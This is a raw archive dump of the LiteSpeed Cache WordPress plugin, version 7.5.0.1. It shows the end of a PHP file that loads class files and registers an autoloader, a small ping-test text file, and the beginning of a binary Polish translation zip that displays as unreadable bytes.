	'src/cdn/cloudflare.cls.php',
	'src/cdn/quic.cls.php',

	// CLI classes
	'cli/crawler.cls.php',
	'cli/debug.cls.php',
	'cli/image.cls.php',
	'cli/online.cls.php',
	'cli/option.cls.php',
	'cli/presets.cls.php',
	'cli/purge.cls.php',
	'cli/database.cls.php',

	// 3rd party libraries
	'lib/css_js_min/pathconverter/converter.cls.php',
	'lib/css_js_min/minify/exception.cls.php',
	'lib/css_js_min/minify/minify.cls.php',
	'lib/css_js_min/minify/css.cls.php',
	'lib/css_js_min/minify/js.cls.php',
	'lib/urirewriter.cls.php',
	'lib/guest.cls.php',
	'lib/html-min.cls.php',
	// phpcs:disable
	// 'lib/object-cache.php',
	// 'lib/php-compatibility.func.php',

	// upgrade purpose delay loaded funcs
	// 'src/data.upgrade.func.php',
	// phpcs:enable
);
foreach ($litespeed_php_files as $class) {
	$file = LSCWP_DIR . $class;
	require_once $file;
}

if (!function_exists('litespeed_autoload')) {
	/**
	 * Autoload function for LiteSpeed classes
	 *
	 * @since 1.1.0
	 * @param string $cls The class name to autoload.
	 */
	function litespeed_autoload( $cls ) {
		if (strpos($cls, '.') !== false) {
			return;
		}

		if (strpos($cls, 'LiteSpeed') !== 0) {
			return;
		}

		$file = explode('\\', $cls);
		array_shift($file);
		$file = implode('/', $file);
		$file = str_replace('_', '-', strtolower($file));

		// phpcs:disable
		// if (strpos($file, 'lib/') === 0 || strpos($file, 'cli/') === 0 || strpos($file, 'thirdparty/') === 0) {
		// $file = LSCWP_DIR . $file . '.cls.php';
		// } else {
		// $file = LSCWP_DIR . 'src/' . $file . '.cls.php';
		// }
		// phpcs:enable

		if (strpos($file, 'thirdparty/') !== 0) {
			return;
		}

		$file = LSCWP_DIR . $file . '.cls.php';

		if (file_exists($file)) {
			require_once $file;
		}
	}
}

spl_autoload_register('litespeed_autoload');
litespeed-wp-plugin/7.5.0.1/litespeed-cache/qc-ping.txt000064400000000120151031165260016357 0ustar00For QUIC.cloud connectivity ping test, please do not delete, generated by LSCWP
litespeed-wp-plugin/7.5.0.1/translations/pl_PL.zip000064400000465662151031165260015546 0ustar00PKΔ+[�B���=litespeed-cache-pl_PL.poUT	$�h$�hux�����[�RG���ST�k[���A���H���X�
G(j�kf���j���؋=
��38缄�N���"�$�ˬ��f��‚����/���i,�$��6�0����*u�N"�|�/��“�T�%��m��"V���z t(z&�����H'b����u�ƺ��8$}�%r�D�=&JȄ������r�:L���Ž{��O�zǫ�ԅN ��S|qWl�ol��o�nl���ݍG�7����~�˃��V�S1��+��t߄�
���"���)]���O�7�q��'g��Ww��%}T��,������߁��V��x��0�_�'?��'�C���>_�u�+��Dw]|�Dl��?կ�=��k�1����D��碻��N�┍�2���~�B��Ļ���X%��fg���e8̠�]�c��͹�����������P`���}��Z��0�t�Q���ݪ��:Î8�g|�S"L,>�S�imF���}qn_�~��,���\h������9�F�"��5�pϱH��LT��_z��!��H�&�&���hI��[��D�oƤ L�v�Ǿ�^*�B�=��SW?��BY}V���7h�|�ٲ�$��
��T(~��#Պ� ��a����^^Y\�z���D_�B??���+��wtVdDg��L�
u&L�k�Ͽ�o��<)�$����3k��^���.:0t�3֭��덞O�?:�ˮ�A4�a6Q���}H��{qdD�0W	?��L"A�Щ�P�P'/��k����4��Y(�C|�/UɇA-J���0���IJ5�V��\��i�&2������%^����/�����oϞ�篎_��ӯ����})�z�Ã��Ӄ㣓�������M̼�;=~�'^�����'�x���~>9x�p���e����x&V����D�B���R�C�~
�(�WoMRg��$�����$Vߛ��#a?0�?d�lD,��[R=khu��y���^s���~�?�V�`ۄHa�X��W�`ӽ��&�I_�~` ��X�I��_"ў&|�c�y��|��_��s ���D�5c䤰X26iw�N����޲s�p�P���"��7&J'mH�Y��xI�F����Ԩ�N"&ʂ�	��@������A�a*�@&	b����ӗ�p� �IEn���8s�3:��	q&<���=�+�K��$Gv��%��|�ɫ�H���!	SI�֒�#CA�JF&|�e.���d>*'D�'v]O�tR�IV>|�"���!�G�D�n�ð���|��`�,mu���~�o���?$�ٴ\z2���&m�|t��S��ھEC�����E��׭��w!u��H��#�L��O\�z�WJ��p�~�ӗɈ��72�R7���,d:N�8Q�`��2^_��|�!�'Wo㜗R���ሄ�sx ��T�4Yr,K��T

~	M���ۈl=��<����QP�3�J!kev�8C�]�Y4K�p24a11Y���F�	��1ӱ�\O��e���)~֡4�jP��0�������W�E�Ip�i��
(A�sºy1��m$D�Z%�:7���S���uRyS��Y�ʜ���[�(�7�hs�&�??�
��R�8�M[,���&y1�)Y��_�[�Q1(Oԙ�Ч��:u��D5+s�V�U.��9[]/Yux����
��4�x��Q�r=�8/������#Q#3_���HH�OyU�����11���L%jf��Tә�a���^�{���=000�Z���)j+(dp}�NJŶS��(�>h�Al&�h�U�҉�N1pK:;눿J�=��R��6)9�,i|ʭ����\J��&%��*��v�#�T�
��h����>�&};��=X0�]����/_���zc���Iq��[��M$�:_$�Ń���D�y����"�bJʖTj�:�`@�F	���Z�{k{�<��3�9�l�HA����IQ�.��z`����T��J�U~�h��'8���qrɌj�5k�(�Z��^��o8��D-�ܣ��P������Ƚ_ű@�`)2�%�S��Dz�P[��J��\�1z��ս�Ig�|-��9Ep�5�w(j�id�c�/;��7al7[��h�榉Z���z9�ݙӚ��ԫ'�N�^�)l��dj���-�`b6f�Ew��Ρ~�8���+eB�e�e@Ǟ&���Rl��I�E���F9g9��ٌ
jbn�o����ÁDZ��[\|�[\��Y/�|�з���0С3��v���\L�'j���u�Ȭ}��w�(�M�@��>%����@+�ZU�%,�/���&��>��4�\qI�-#-���s�o�9���&������l�8�I�q1Fv�s-.������~h*�Y��k+����=�dD����
��Q�I�-:I���£�oslnK����(�p�BO�&'U	�XA��=B.I�~�ؽ�r�S��X�P�GZ�D'�K�L��/��8҈��[K��V��>�	�}H�j�N��_��*��ʹ|1����B$Y�C�7��<|!�RD��-�u�8M��[	�Kj�E�r���q-Y�`_—�[s�d��QM��K��o�G��̰٤��h���2�C�A���#�1��tJt�X���p�y�TP)�?[�w�I��O�(�pi�c< 9
�*S15n�iF#4

��ij�‡:�!��/�Ά;�'��l��f�1�)�DVA"m�*|ix\861�w��Ea��2r.�fJO�\��1��Q�s�ȒY�4��_U�Z5T�j-冄�4MsL��!@(���:�gn
-[�j�h�P�RM�5�_��g˘�'|x}(�Bb�t��?��&?w:��:KW�yk�R|����\�s�[B#V�/j��9B���:���$�P�����^���7����s4O��iv��r��=���>�*�����!ݍ���4�Lza@3;�P�f�4�X�,zО11�Zi�D���@]�U|o�s*�Ii���݈�L�h��)��qL�Մm�/�)�=S�H�y�7e�Vq���

��H�k������
�zO�o�Y��F�7�c�q�����,�4���� ]E*~ztRۤIGd�DO��
�&�����x@����/:��M}|��|9xd��lJ
�m�(f��Hڏ%�e4\F���z���>��&�(/�uZz��@�	�L#�u:�m��4�O�AP����`R�����boJM��D͡�j����￝�t� �TR9FzZF�&k>U�&��z@(1z�/��4 6��*�{��;�F�%mٙ#�=6���8l@*L��%У���Q8tA�JD}!U�}��B��Kr���3�P%�@*Lu�83�TCt�Gb�h�25�p���zvr`��J�eDA�K8ف�+�fCrŲ>���RJ��w�ۍ'�L(@�2>�i/�,ߕYqd��"�ʆJ��ѡ��*F��i�p��wZ�<C:�W��w��%-��S��Z
����!C�4�����5�cnr�7eFéJe�o�_"Tn�W��D��-�P��'��ɏ�>
d�s$�P�C���{ggV�&�f@RH����F��y��ۃ��mS�b;8��$�;� G86֩$�?�*�I-j̳`)�Z��iP@��K�,y��;6@���r�&4]8��Rp����ȣ4~(Ҍ�ˁ����\/��9m��Y���5�}�[rX�-�x�w���WX�Q����lP�5%>R5�Fp�
�9*��L	+ϣ���	��ˆ�&G(����3��$�~ZZuv|��K�a{V
�(*�C�e����b{Z��,��UD�*EG��0���В�5�3=]Yk�/bp�.�(V6VN��)�ҥa%����=�0�h�����Fp�xȖ���ܻ��x~��H� WJB?!��(��A��P?Et5z0'�7���u�m��U��[�]�w(������L7M��qa�|Wr��X�oB!7�2�j�b��!U�6m!�J�~�Ss��&��d�q>Ɏɐ��j+��\
�k#�U������u�-ZTT�;�jE|�ʚ���6���U�zsw��^'�8�ew���Is�[�[��gC�cr�5��&�O���&N�_XfF��)s��
�[K͂JW���L恮�X<+:]��������1R,]yiG(>���|Lhr�������Όy��EU����B�8[�y�m�!���Dͅ]9�QI�?IE"�Xh����os���A��T��h��9�#��Q�


�!�x"K�Ϣ)YK��=7u��;/w@��#`P�;�r&��$�c�blBʒ�-�X��
-4�]��l%���ڬ�����*9�E2&�L"����UI ��/ǎ�up�!%���V�G�D;� V��mU�9��Z��`wV
׍725��@I�*�Mi��ܬ"*�2��Y��e ��Ka[c#�
�w�����0�����TK��QPHе�7Z����s}zv�X�����vo[�v���um��*���s:3�ϧ\��ir�o���^��]�,�v�L���et����—ۦ�pw��;���<J�%�gї1�x�_��h)�ݧ�"�V*����e.��x�X�Nf�b7�f\��h��y���0�u:m��}�}�j�$eg	�o/%'2��2z��{Yj(y9c6<
 �\�p�i�=��I�<��2wܿ�5�#��]6�67�n�x��>�����tw���]��],
x���`&���ZN3D����+,�9��9��ڝk�B�)�a�uȸB�i��Y�:W>C���ƫ�6[2<��]��֢��^g	��g#"�-�޶�s�Ǐכ��H�7�S�rfz.�6�^=��1e �ȳ�=aԛf�2�P�o�GoUgO�+�t��ӧ��}5N,ꀶ++4W�Y�}��hwټ�)�̀FY��y	���/�g�ɜ=���o4�8dQ�*�費���,�c��n4E�;_�?�����ڏ����s���/���'4�}���sS�5��ܼ��Ŵ��Ŋ�L_�N_~v�)��Ӳ��wv�߬7)�-IQ�*�}TS5G|���^�렺L�i-�m�h��T_��͝�{ν�D��[3qy��/)	���O��xթNJ�"�N�Y՘ئ_��a@s9�ܭ[K��|�0k�����ߌݗP����D�S�2
 >����/n��e����VkT4��^j���
́�;2��=$2qu?�d�'vz��HE!�M�GwV�\�?�?ԊS��dP�� �r<���2h�C�dzޠf���>j\2$��<�@��t�8�g_��R(��Ʒ��C�|Y�Fjzl�Xw�=E�%�w�|)d�o�����ݽ!nݲ�^_���ms�%��7{��;X���
n��̩ŗ�ӝހ��V+�A�3{e4�P��>~=msz���Gx��v�/ߕ����f��zx��m��y��|~Հͻ��+�a�RT�宽9�ڼ۹�7�o��4*��%��7Y:w��)/�W�6t�Oצf���9�no/j:�e��j�^���̹�WՐ>����_�t4Yؽޒu���E���<�֋cJw)��u������P��g��Dٿ@QnWC��5�I��I���0�������fg�4e�M��7g���5��wn宻pAkk��/��_����a��G�SuBX<���p��qUM{vl�.O�R�I=�����P���ّ#��E�_�v�H �x'�H�$����#��%Ba�fa��f^fn�to�$T�6n�t��Ӻ�΁J�L�H����3ǜ�io�T�G2�l�l=�s�1.��x�	{�'K�u)@����9���^�*���ڐ���:I'֮��F�	���[M�����wq8�/��jG��2��%_�m&ت\���%ŕ�m��U�f�"m�͖ڽX(Q�?�-Gԕt�GL�x���9��-*���n��qՋr����k�������J����	�(J�ݶ���4^P�%�o������s��x+=spߋ��wr���s���n|�lQr俞�c����Ef�űM�N�����٭� d�;�:o>
�ky6�%@x���7��AMp��9G����(yTl$�y���D�pp·W����P��6������2@�P�=ʟQ��"�d��H9$�[�H>i��"s�SNl����y���7��J��[�6�����u��_��,�:˰� ).$^>���ɬ���b�Z�BD��,*Ɋd�J��l*�+�OCXN�@��zϗ�~|I-���*��([�?�R�up=�8x�<!k)�Ö7C�PGu1Ԧ������KJi������n�ACm�����{�ڨ�6�4_l3뾡�гWy����<�M�E!.4�iN���V��u2��'��S�[��[b�e`KO��Fqj���ƻ��X�̍��"o3X`�r��T�Nu��;[�gT�ٱ�ѡ��dB	�z׍����&`ݔw���N�xJ�شy�{
�-:����nס���nj���y��RmW#�R�@��(��Y,'-�}��!Խ4Ù��6�Л�TYi&_�����oW�tZ�
��Ɉ�|�Z譵����c�Q�.�1K��cB5��'I�����4~��ԤM���YDWo@*�a��Vz>=�yfd5�\D5�%�Npc�B%~7��Lc��F�`��sk��&-9]����\�^#7�iv�b�2�Y�C�O��+�4:��8ws�D̓��.��JS�
�]倞Xf�4L�
���v��Һ[�q�(�4'Mc8[m֒,+~�������E��T��_�<c߻��\-o�ܵN��#$�՞���z�Dptrv�8I&(�+�����4QEA�'���/�4�ʦ WX� �_��}+uL��=�Y������u�Znr8ٵ�%���N�T����C����p���lSК�q���u��7��u�읍�K�W���s2��PV�cs���6��6한�ԹR��y��K>���Sc�=ELA��[��Ͱ�zی�TX����w�cK&��&�I+Tz����!�v郣���,ވM��El�|/r���ITIv#�lM���t+;��tݷ��Y��t8>k���qK�OGM=o����d�͓Z��+
oP�����I{���0>?�k�&��SO�Y�l��E\3D�+m��@41S�.XևUf�m?����,��N\�*��]椘����|ޱx`���J/#cT�������4�^�5�������.$�8J�O$}|�b!�J�R�a�1�s��4s��om���I(*Oz�ny�.B����,|��"$i�,È��b�j�q2O��ls��c�܅5
��)N�y|�����A ��p��M[���x��q�z_0�4p�`��Z�6���#��H̉s���&�5��D�vJmO
[�8�R�{��5�ň��Ġ�7�#&��z���?|��n:���b�$
�}�
/�X&1m���,m��W�G���$>����9��x9̷�o�\fٓ�d�I�U�Am��4`
�}_U�i��q�1�вMn6��0c$Lr �3��O���
	0��&�|�5�b�k�/���2��ǔQɮb]
Ȇ��Pd~�z��Ӱ��Q}�i��;ќ)��4����_3e���~��k6H��
�M�y7B_D(i�أ����(!�u�R�t�P�5�ծmu��lٻ0A�	
�
Vuj~L�(&�"Ut.tWbw-��HG���Wԩ�lh���q���l[Ϳ�D��2m��6��;(����/\~����+��*�W�%�bێ0շ������\�)��:�񣵢�u����<={���w1�C��撓z�&�b�;��+�m<��d��' ���x!���P'1��20Ү���`�����_ ��\ �}�����jPU�`9�D�l�N�K}M��r����Z�Mq��h+�6��v�����o�%�-�D^Ra.��_J/��ږ��k�6Q��C�q�9a��"�K�,E�zߥ��C;�Iգy�r�qkҐ#��Q�4
ChT�(3M�%O�?_�fe�9|�.u�dBj����>�)�
D疼YT#��H�l�
���X�?�����X%�цP��)R�$M��i��|W��c��?��2��򇟏��6W.V�,����y	��N?JU��5E4Q�F��V�
�o�P�@�[�-�6��4bѧ?�3�.�#���,��9�3G%�6��=WFv7疈;�W|�X�5�G6}�|%�&B
-�6M�8���p��=9�<�E�y���K��Q,2�"[�	��e|5͓%�o\�J��/��D��,4�h���*���̚[��h�7�ۚ9���8Y����Ծ5ԕ��W��=��Snj���`�_�r���&��,�=��%���M��A��6��Z���f��ڝ�W���<	]v����R�k�i�B�\0v���z�ٟ��u#�y̞jYc�岎��"�U�v�WQ��'2s���@ri�%@d�Ngk��̌��W1�>��3]��������C��Z�B�K}I�H�fQl(#27���>�j�_��H����9�r�P��k�3[�g�+^�0���<6���� �w��.��,Q^r�1��Z���¨-O�s�sa3����:�"=�M�٭���#+��8���X�10Ea�{&3���3(vO&~��j!��^�K�;	W����O{|]���8��q��u��)�p�?�)s��kbP����D�la��&�\����	�x�K�̺��ɝ����~�cx<m�t��7|��MP�=��+�Lń�d�ڒ�ֹ6��޿+�8뢄����m9Mh�gĽJ�e��bXH>Gj`<u�(W6�~��ȉ�9��p]KC.<�5��[�q6�l�b?|���ȉtG*�*�
?Ip���P�O���	"b"�4sV3L9~�Jl��W�=����#z�x?���n�DԶ)�����C)U�á��r"��^�qwg�ɧp��-
�i���?�t]���L���9����ԕ�76,�DNÏ�jZ����/?q�/��[��D����g81�ԏ?w����0>z���6���Q����	ݰ΄[N2��\-�t����z�r[�����dQ.�l�X�&Ʌ���OX.[�Y��bP���9��څ�����F�|n$~{���Y��CM1m��ڢ�DYL�����-�:�懣�A<�a,�1��ʄ�u<)`4S��@I��4�1��6�0uE6�e�s$������
bCpF/��O�a�ܐ�O+7YA4��C��ُ!VA����e��^�%���r���yw8	�r��;<l�P;4I��P�'i�V���r˸��ۤ�ATI��m$�D�&�1��dA~��pp�y����uc��Qϒ��C\��$[�S�t���8�f�<��5�|jo�:�İ�~J�_��V����7�\5�^�o2���ױGn��b��ܫ�s�tM�u~�2�#��<�Q9�6�Dq9�������7[��.<�Km�P��$���S��G��J=�$c�'���.̓ŝ���աn�|G��
6�cs]y�c��Bϭ7*�N�gl�?�W�M��Q�ੈ�R�9E�da�� V|/!�?:{WFsS�[B�з{��Ċ�u��Bޑ���I�n���UX%��'틣�p3�ɪ�/�iM�T���>�Z�͓=�N����.p��v��/�=���frqf�gDW�����9w�'�U�(���5Y8f�ADPᇍ%\
��&��H^}$���/`]
M�P�~pAV�H� !��r�9N�a���4��q�M�2�u����V�YC�U�<6^n��$��Q
h���;�$F�ѽ���T1�9+lJ0x���+�{��!Cn9K����eL��yYwz3��Ch��.����U�Q�B��Mm�y��:��ڴCy
S�8w&Ԓ1�M0��\c-zE���m��Z]_�7,��b3����:D�K0(���a�>6gW��`���4�7C�������d�)@�+�À"G���ݤ?Z���c��K��J�a=չiA�O�y�B���g��jVS��OKq&L-�P�`��l㑅Ld�B5ZN�ӑX�Pj�=`DwOV��Z-��[9���d��Iid��m��r�UIY�2����x
�~p�#��(O�����`D�	�t(�?�r�\�
��:>W�xr��:��C��e��{�lo��[�.H�P�F�ـU�ti�?�l��a��]��XOB�ɀ��`$��7�g K\s��U��a�N�O��h�f�5p�h����W�Q�a�
J��g��-+����[�j��sN�U��F�Sor8_�iaH��qE�lT����/��xd�h����<��
�$��<����</J]�Ꚗ�j.��b�^���rO8���D��X�Z�čd�'��u��ི�8�����\(�� ����r����3�"l�-E��KW�\B6��
�HN�'�b��w?Ƿ ����+QftT�g���߹��?�^ˌkc6�P�}���9d3�\c���h�A�+�;�+�V&t/��d���,��!^5G����3Ɇ�bie@nc�ԋ�[�P�޽\νTb��Έ�u�<]S�0������d���?3;㐍�f���"��M�T�aQM����	��B�T��)%�	����J�@�Eh�8�n��x㲋�4P{5"�_�Fm�i�zo�q�ș;�e�ƃ��K)�(Dx����N-4��S����pzzkbQ�+	�R�]&*o�-�	f��A�Wx-`�
{�
ƦGT&�MN���ٚ�#�6]O�}M�(x+��+*|B O�G�*sh�S�����L�����c����;΂JTɎ
 SPS�/O9F�>smC5lM��!�[��h��އ!u�P'��=�b1�����Y�C�~�3�n
�_�Y&����(��J��F ��0�ݐ��*�ca7����l�Qkw�o$i=��h���^�4	�
�J�K)#[3��k\Z8�*��X��j�x3���A������ML>c젠�����=�>�K�5K�]�{T�kR����xAa�oV
֢L.C�ᲇ���a���M49�R��_�RXY	��pZ��r�����z�y
<1���yn�
T��Ӂ6�\���������cr3�H+�CU����5u����-�_8�
��qI����2+$Y!·��������"��ll�3�5�[��7�$1������
3��pJ��p@��w�y������ҕ�&�m�����<Q��Hh�[�My�'���Q�aݑX��69L�]*e�-�l�&���k����d�sb�E���?�[�(��m�RFʶq�p?xm�eIJ�E�Q���}��!�uk��OF��	�4�Ysb�0j�*�����ur�����9e�0�)��;�����bOȰ������>�2u~Be���D,ϵ�q�HY���u�l��
�[��%��t�cϑ��S��p
4��<�gY�:D�d
����g��b�i~��>�x�=��t4�e�26��9.�����yL���k�Z�B��K=y�a�q�1x��PV��Aa+�w��Uub>U��N�[r3=o�L������5>lsG=Ѵl�|R����:t����;�F
��L�?.�<���,�M3�c[�Dc#1y޲7��`�vb�Jy��G!fu>�t�ɲO��V����<E=�<��l~�*�#Ф�p���h��T^_�􌞆
���\l"��;������	�æ�c���a���(�:N���)QL$¹��FSu>�;h���LEek���>�~|<�n?��%���l|��qW��3Uj����E:+��F���l��e���BS����4k��xR�:1KG�I��H6U�[�y��nD�2�Y0�/�	�6����އR'|��Ɔ{:-q�Ś�(��.}OT���8)=��a��%�Z�g��h
�N������ڛ���$����/���_�9Y��w�|�yR^雠��1��W�cbmdI�lU�9��#^6�>���a�TFy��bڬ6�Җ.��n��e�<$�›��hF��2(�y�7%g�k�L�	5D�K�h�`N��$��.�!�l�xF�N}��N�6�F�ì'1�s��7:�9�������C��\�O�+�2F�1A}��2�\�
�D2�9�t�~�P�Z��Ƶ�t&�2���i�*/S9�JI���
`Gt\�:(gt7J���ϩ�Ž�2<G��YT>��C+�Lq������&y�����funj+ԮT�:s3P�G�*��ʍ�n�`�c�6E0X�L6˰(Xu��#h����\�S����3Ƭ�*z����x��r`��6b,w!�Pg�����H���w����|�g��X�ƒ���<�[�(�b�k/�㡃v8p>Y��B<rU戬�~���2��|V��<���4Ц�`J��4���^��ԺU��X�s�3�{\K���X�6��x�S#nj1�Gu�=_������JH�fnv̭B�"T��p�e[�V|�ڤ]rAy���Xh#�9��lā'���g姿��K��y	��A��o�/�]�e&]���M-��$��:^U0o��S�
~���
9�"qO�t~F�)Ov+O���3S��R5�jꖗ��tKoKI���n����}��6!�Mc�a�(�'�k���C��R���&ư�e���zB���k��y�f��"���ɷ;��=���c�Ȝ�gp-v1%��1���J�|NH�
䜂�T�T�����|z�$>�#H��Z��>��R�z��y��tFqr�����-���	��N��̪e�?S*�M￳�6݊�6,~*+��>��p\!|ЅX�4�x��c��F��%�,V0�d*ZF4�) �˂qݒ�FGc�Wb����T-�L�䳽���:)\ �r�L�HR�K|y=�,�Q�b�@���
:�*׋�hHC2z�������R���a��R&Nݬe�ٺ��$`f�x���eOBW5T�Ɛ��Q[�IlKZ?���ؽ,�O��	K�L��S!w#�r�`����:��$n�5i��ٔ/ŸL:	A��MAw�<+o!�xE�W��K�P�:�k�O�N%���lqx\d3��نm3��ц���{�B��J�_�3x"�`{�E����>��N'���޲���o't�
����8[Q��;��2�X�f*[�۱3Nex{�Ɲ��u���0o5�D���5�9*)�f�v�1�.
[�B��`��u�Q.����="�w��Bv��A��!ō&�������W��.�o߼��z��1l����&%3�3��s���
�<�Գ*�#�eA���
���=��P��:T��g��!wb|:�t��R9�����h�i\T���#N�>)��f���ɉ�����>k�ߘ����Z�gy������wl�Xh�@��+U���o1n�䎃�QR��.u�n%6A4�sp������{�?|uF�	�d�-o����ah�@*��td
<�\���n�Rs�8E�M�	%|@
]ܯ��,h��/j����t9��`�X���8(��)Nu����|��~�]N��=~��lf98���"�4�*^�#�W����w~��%��g�7ࡳQ�ͤ�0�B�_�8�JT�0�i���:�r:Q�Yx�HT
�N%qV��g5*	���鶍�}w�Hr�b[_��S|7�/�+�q��e�)r������
x�B�up�KMk
��A��m��$�Y\R��O��.�a޵z1��+v +:1���;C�T�!�>�&������:%��	+��X�L0�`��:�D�ZHG�"���
ɩ��Vk�'
�X��2����RP¬�i=�ֆ�/�i%ѣ��I�
?��¦Ǹ���"P���ȁ�˔�w7�����`�)6z᫷�蹒'�j���b��U�ϴ�Kf��ǰ�*FKR䉸bN��h\���N��7?���aI�C>�.�M0]�oն�My�%���0|����&<�?>~	Ŝ���U�L����l�� .	V�V�nm>ON',����i�`�\馭��@�7M+�u�FB�Oh��Y�w�p;o0�^�S:���5��I6�0��1Y�3jɆ��Y?
�+���V��V�*
��Fm�H���U�S�Ne�jm��D�6
t�Fv �O������ࡕ.y�1�J��a�j�)�P{�B@�l�.��.Ty#�y�t7-�nZ��l8�yv{�t��a�1)�;_��ot��7���|��M��W���QDQV��M�S0��n�Kw��Υ�[Y6'�=E7-D��Z������$D�ɥ!��0]���}�5�꠿���J�.v`�>��PqX�6��]��
��@3�@�bE�Mu��ϸ�W�bo�<�-7Wx�����%&�;�û5���F(4LxW!�k�
'����s��
�C�M�+Q�+���H}ࠑ���ӌc˜5�ώÆ�ܤK�޷��C���.�GL>�e�}�.3�f1����(�d�&NJ?�?N��tN�`\)�H?�B��i�Hx��*x�QL���x�6�m��s�LV�}iϯhKXX��=�ճn�_�Nǻ��"|�)h)�	�Po��R
���t�=(�Ý��yq����<�2�""[ؒ�������r3r�O�����.�Y	}@��Jx<|���݃V���ͳ��bR���=�ߠn�G"����P6h��7-p6������u��O5�A.�@)2(�����5�_��%�c�j�}����Wl}��3����Bl�<-]h��*B�bf�(�pO'K�fG���#JT0��L*�!��ij{0��q�Kı�x�hȹm�|�lx�{_4�!)��LW�\��O��T��B|��@X��C�.�/�6�E��Nxg;��f�@J98�y�4x�?�_3%���,�P��U>�g��>rޑ�0~i�2�6Likъ�����-��xb60]b��!��$�bV"��#�ҵ�q?��-��ǚ�YڱK*,�.�2��Y�FvQ��	���T���`B�
Q��jh>��]��7����:t���I�۲��_�,�q	r'hsZ�l���(��d�I/D��e�0���$8`��(T���HŁ�6<�ǣ��ٞ��q��:	3�|���?)���4Q�#"�i�n�/+�gV#��nN2���%CY�4�d�/pՐ}=^��v��U/uk%�p�Ӈx̘�Yo�˗ױ9��MB�=� &\0��{��Y��7�:*ɘ����Ȏ�����|��T��'�������VeQ�Ј�p���z,�b��ya��y�N�q��M��MRT9�蔵Ø���5Ls�����1o	|WLOc6`Z�&�ob��b��9�e�
��A�[�8���ա%]���$�9x��`+�\s|/�{Fa�Q,:��qt1%���i�d�s	�o����:�dUY^I���4m�"Ln�D�{��[�IIV�7��������Z8��RS����^M?��c	�`IJ�
x;6�1�s�ʞp�*�|™Z�+u�H}L����f�}��zG�H�X	%!1c�r�Aÿ����bI���ȢS�
n��M�(f���nZ1�-m�p�����ˈ�,�x��o��̅I)���Z1���pr��L���>B_̈U��L;"�d����s��5x�y�/Yꭒ�C��'�@��7+��紬���1ѵ�Jř�.�NO�)2���y�+o�AU�������&�	�L� :癏ց��w�_��b☸�����Y�^{�4x^mZn?4���N�1�s��kq�&|U�?��	�����A��ϐ��!�]��lhk��Cc��0C�*�U$�eO�J6�	E wa����gN��H�=8h����x�'CW�x�C��?iycJ�2��yk_*y���bM�ld�`�<�a7��E	��+���������3l�pD��΅�sR��Tp�h���f�1?��9�J�1-��j����J�
��d%��4�@���b6}��I���:^Zk!C�E0���m"�ْ�VZV!6z5F��ʦ´��Wt�*{����=�M[љ�Mc@��lإ��^�3;	�>�Yy�$ވX��z&�p�˕I�'�bߐ�xg h��Y7A��S�w��P3�v5�B���N"�/xq�-!e;j��I���(�� _���Y���8�:��_�X�Nfa����k���m��"�sR�Z
^ۆZ�����Uh�
�nU��!�!.n�q�{oT4���op�S�?�Su��i�6�7��r��4��Z�L���p��^1n�dI4t��BP^������;�V5cW}���@����*��F�2=��~0nȀ�4!�$�N� ���M!C���9�dP�N��F�m2.���'�x�=-��2��b)�	�7y�8� �چ��H�C�г:�QFK�1����LXؠ*���G�䇩WA�3�	6~J��u�j��S�E�8��j�]�y_��ijӆ��^"Ÿ�<�B����tj<�+|lB(�͏5�ix��K���g	��<F�/o����Z7����
��&�tZ�UN|"���e%³ru��K�2���>�(�46ؑ
k1�d$8Y����.�v,dA�i��$R@��q@}'� b�ȷ1�\V+��{"]�U�!���}X��B���*�1��[ʐ�>;q�,���ݝ�"(���?�a�.�\�&"_��	$q
UH�S�B��J����s!�V�vD5�Z�d�n�,�dHm����M]Ҷ����G��y�eX��Ǫ9]��v���U�u������;\�5�v���+��6�Q���Ο�=�剓qgNN�r�G���>���.�Y��,w�\,�σs�2**��b����ֵ�ڏ��lD�_Hpla�W��t ,5Q���֒�dCj�P�(KүS���m<9ʯ.��sݢc��I}�B�!�x�p���?ё��gJz9$ !*���1�'+��o�I�Rd=�$���>�G!����!׎�]=��[��b!�e���>kЎ�^�+���7
[��:�q��:4�HU�<�B�8&UWa�g�vG��5�?��a���z�ځ7shs�f�� 4��/�H���	�O"���"8x-�&ePli{���GT��_���z���W{�l>ɷ�lB㉂~�7�c��k��0��3����xl�35�"fv�y�
e�<��b��G���R��t�DT�3�*W��Y$G���T�+�����p�Y�p�4�s���j��Hm�=_�^*HN#^n��u������N��@�Z��1�|�O�d0���I�B���),���_I:�K�,{�k5QO�|�R�0!���h
�<�۸rH��
F���:?��7��j�0(0������wNV�C��8	b��=�ýv>dt��k�^�О�ޅ؍�ճ��V���*z[���%2^L��oewp�a#|eFj\%۸��I
�)r�E�oZ��N܍�a��F,�!�U,pk�M�z�_5Phx7nC��U[��!�K�-u�V�4�~�n���NKG�Y
�:(u�L�d��
�y����v���g��R��+M�am1��B����R�y��?��.�Go��-%؄Eg��%۹V'fC6d��&���t	��t�x4�L�	dR��
���y-a���Ҩ��<֮/EC.��p������t�A���\�N��\��23�#w�.?֨�^O�)��
�
����z۬⪢��A�_T���8gv7�RxT��ܨPh���4�]�䁜����HqXTN'������M����+f�n9u�Z[��F5�O[�Uz�ۿ�2����hF�N�)��F�px��r�Y�<��XK�k��;�u��排����zh�Qj]��~���\�^�[GKY��t��-��q_��t�q��)7�M_|tP:��ަt�=����k-�2N�ʜdQ0���7�u�.6���5�&ן�1'+Q��4��]��d���۰���؊9TU��K6>T^3G�Ԥ�Γ��cS�6�����3xE��$8�B����D���b�W�}J?���!���2"ءy���H��j��9�xJ6�9�Y!�s�N�3��l�ᙈ�'�Y�G:dmGy�����!O+C�{��C��9��6#��@�|Y�4
R�)
�O��w���%L�a}EXRVXLJ��l0G:�jF�A�uﺮh�p��U�}����\����F{��P\�#��dP��{#؄�c��^�L��d@�!��F �B�� �ƒ�C��f��
I�3d��O�0��hx�͇S2p
 E��cQ8ľ6'��|Zf�գ�9�S41��f�>
#��~��;���Q���;���MBާ�i�w�Y�'K�l��g�d��7����iO�Jz���G��:��;�����f��.a���$e��"�'�e�X�u�׷h���Bx+��Pm�0̤�3(�4\�GX$�`� p7�.�L_w�&X5�����W��[٬;OK�<�y�?x�����X���n������W�L�}K��TƦ'��5�V�e�լ/H�
'�x
�9�q�;�;�^�sęfNN�wK������1ML�W��f+>
W�j�����][���vB��q�?(>i��H��z���W�`x?�|�Ž�4)����:ʷ��޾�.u�^���6�6�k_l7���g.QLgE^Ef#����a�[}����,�J.7G�d���Wo�fC/�L�
�v��6n�wT�E�&Z�W�h�������zV
